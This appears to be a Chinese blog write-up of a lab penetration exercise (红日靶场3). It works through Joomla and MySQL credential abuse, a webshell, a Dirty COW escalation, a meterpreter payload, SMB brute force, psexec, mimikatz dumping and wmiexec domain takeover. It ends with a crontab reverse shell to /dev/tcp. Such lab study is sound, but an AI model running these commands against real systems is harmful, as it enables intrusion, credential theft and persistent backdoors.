关于我

红日靶场03

红日靶场3

在开始之前,可以先看看文末的总结避避坑👇

环境配置

操作的时候按照网上来的,结果频繁出错,过程略显曲折,最后重新分析一下其实很简单:

先配置一张仅主机的网卡vmnet2:192.168.93.0(名字和IP固定的最好不要乱配)

image-20240804205345973

再将所有机器全部开机(最好先开ubantu再开centos,否则容易502),然后将centos的网卡1改为NAT模式即可

完事后,centos重新获取NAT模式网卡ip:

service network restart

image-20240804154540231

完毕,准备开打

信息搜集

IP探测

image-20240804205459196

nmap扫一下确定IP是192.168.111.129

端口探测

image-20240804205629965

发现开放了22、80、3306端口

网页信息搜集

访问80端口:

image-20240804205827585

网站启用了Nginx反向代理,cms是很经典的joomla,但不知道版本号,扫扫目录:

image-20240804210158210

在README.txt发现了版本号:

image-20240804210635673

可知版本为3.9,比较新(相较靶场发布的时间😁)

还发现有个configuration.php~,疑似配置文件,看看: image-20240804211157886

泄露了一个mysql用户密码

漏洞利用

mysql重置管理员密码

因为端口开启了3306,直接连接试试:

mysql -h 192.168.111.129 -utestuser -pcvcvgjASD!@

image-20240804211838574

成功连接mysql,那么接下来的思考就是获取后台的管理员密码,如果不行再考虑写webshell

由于命令行有点麻烦,这里直接使用navicat连接mysql:

image-20240804213534295

发现admin账户和密码哈希

查询一下加密方式之类的:

image-20240804213946168

找到一个secret密码的的哈希,直接重置管理员密码: image-20240804214054286

接下来登录后台

后台写马上线Ubuntu

登录成功

image-20240804214601311

接下来就是找能编辑php的地方

发现模板Beez3,老演员了,打DC的时候就遇到过:

image-20240804214830677

直接编辑:

image-20240804214936337

写个后门,保存后连接试试: image-20240804215138962

直接就上线了,执行命令看看信息:

image-20240804215240921

全部失败,盲猜有disable_functions,在Beez3创建一个phpinfo.php看看:

image-20240804215526580

访问:

image-20240804215633426

可见禁用了exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source等函数,试试用蚁剑的插件来绕过

image-20240804215918043

选择PHP7_UserFilter模式绕过:

image-20240804220126254

成功:

image-20240804220300176

顺便发现了主机内网IP为:192.168.93.120

继续信息收集一下:

image-20240804221459451

主机是ubuntu 4.4.0,继续:image-20240804220501708

在tmp目录发现了一对账密,回想一下还有哪里能使用密码,很明显是22端口的ssh服务

ssh密码泄露上线CentOS

连接试试:

image-20240804221941584

(我这里需要指定使用ssh-rsa密钥类型才能连接)

连接成功后看看基本信息:

image-20240804222159815

发现主机是变成linux 6.5了,IP为192.168.111.129,内网IP为192.168.93.100而前面我们网页信息收集知道网站采用了Nginx反向代理,那么推测:

  • Nginx反向代理将内网的ubuntu(192.168.93.120)上的Joomla代理到了CentOS(192.168.111.129|192.168.93.100)上

所以在centos上查看Nginx配置文件:

image-20240804224130606

OK,发现了Nginx反向代理的标志:proxy_pass

所以我们的推测正确,真正的web服务运行在内网的Ubuntu上

后渗透

CentOS提权

前面信息收集发现centos版本为6.5,看看内核版本: image-20240804230732806

内核为2.6.32-431.el6,完全符合脏牛提权的条件,直接利用:

image-20240804231657844

本地准备好利用代码,开启http服务,在Centos上使用wget下载利用文件

image-20240804232210592

接下来编译并赋予权限,即可运行利用程序:

gcc -pthread dirty.c -o dirty -lcrypt && chmod 777 dirty

./dirty 123456

image-20240804232724150

运行完毕后系统会新增一个名为firefart,密码为123456的root用户,直接登录:

image-20240804232925327

提权成功

CentOS上线MSF

为了方便内网渗透操作,所以考虑上线msf

首先使用msf生成一个shellcode:

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.111.132 LPORT=7890 -f elf > mshell.elf

image-20240804233352689

同样的方法上传至CentOS:

image-20240804233526221

msf配置监听:

image-20240804233946068

CentOS运行程序: image-20240804234018200

成功上线msf: image-20240804234201532

内网信息收集

route查看一下:

image-20240804234346841

确实是一个外网IP一个内网IP,接下来对内网IP所在网段进行探测

IP探测

为了方便探测,需要先配置路由:

run autoroute -s 192.168.93.0/24
bg
use auxiliary/server/socks_proxy
set version 4a
set srvport 6677
run

image-20240804235142240

配置完成,使用auxiliary/scanner/discovery/udp_probe模块来扫描内网主机:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

image-20240805000843893

可见除了Ubuntu和CentOS,还存在三台域名为TEST的域内主机:

  • WIN-8GA56TNV3MV :192.168.93.10(该主机还是DNS服务器,推测是DC)
  • WIN2008 :192.168.93.20
  • WIN7 :192.168.93.30
端口探测

接下来扫描端口:

use auxiliary/scanner/portscan/tcp
set RHOSTS [主机IP]
run

image-20240805002927462

image-20240805003434492

image-20240805003446246

横向移动

SMB爆破win2008

注意到都开启了445端口,所以尝试一下SMB爆破

先试试较老的win2008:

use auxiliary/scanner/smb/smb_login

set RHOSTS 192.168.93.30

set pass_file /home/kali/桌面/pass.txt

set SMBUser administrator

run

image-20240805014705373

爆破出密码为123qwe!ASD

psexec横向移动getshell 域成员主机

有了密码直接psexec连接:

use exploit/windows/smb/psexec

set payload windows/x64/meterpreter/bind_tcp

set SMBUser administrator

set SMBPass 123qwe!ASD

set RHOSTS 192.168.93.20

run

image-20240805015550197

直接获得了system权限的shell

看看系统信息:

image-20240805023700233

发现域为test.org

同理,用psexec尝试连接win 7:

image-20240805015731595

成功

wmiexec控制DC

已经控制了两台域成员主机了,现在试试同样的方法拿域控:

image-20240805020116724

失败了

和红日2一样的思路,mimikatz启动

由于感觉上传mimikatz比较麻烦所以使用msf中的mimikatz,首先进入win2008的sessions,再开始使用:

加载kiwi模块

load kiwi

image-20240805030157070

抓取一下密码:

kiwi_cmd sekurlsa::logonPasswords

image-20240805032213940

抓取到密码为:zxcASDqw123!!

再次尝试psexec横向移动:

image-20240805032642480

失败,试试wmiexec,我的imapcket套件在windows上所以要再配一下代理

先用proxifier配置一下:

13fe5c2417f99c343b9a1869d86b2f88

然后直接启动wmiexec:

./wmiexec_windows.exe administrator:zxcASDqw123!!@192.168.93.10

image-20240805165416488

直接getshell了,接下来找找靶场描述的重要文件: 6bcffec9b07d5641851bef0bfb0c9219

成功拿到flag

权限维持

这里选择对连接外网的CentOS主机进行维持,思路是通过crontab命令将反弹shell的脚本写入定时任务实现权限维持:

  • 执行命令crontab -e管理定时任务

  • 添加任务:

    * * * * * bash -i >& /dev/tcp/192.168.111.132/8888 0>&1
    

    image-20240805174208283

  • 查看当前任务列表:

    crontab -l
    

    image-20240805174237868

  • 如此,只需nc监听即可获得root权限的反弹shell:

    image-20240805174356008

至此,完成了一套完整的渗透流程(痕迹清理除外)

总结

坑点总结

至此第一次打5台主机的靶场,过程略显曲折,有很多坑点,这里简单记录:

  • 环境搭建的时候,vmware版本不要过高,我将vmware从17换为16.2解决了很多莫名报错
  • 网卡配置务必按顺序进行,否则容易报502网关错误
  • 进入内网配置路由的时候建议选择socks4a,本人默认的socks5就一直代理不上
  • 端口扫描建议直接使用proxychains代理nmap来进行扫描,我当时懒得改conf文件就直接用的msf的tcp端口扫描
  • msf的shell可能不是很稳定,在getshell后可以先migrate进程注入一下再展开其他操作
  • 另外,很多地方都有不同的利用手段,比如除了mimikatz操作lasass抓取密码,还可以使用responder打ntlm relay或者使用mimikatz打zerologon来获取ntlm hash,再进行pth攻击……

知识点总结

总结一下知识点与相关操作:

Created by Yuy0ung. Powered by GitHub Page.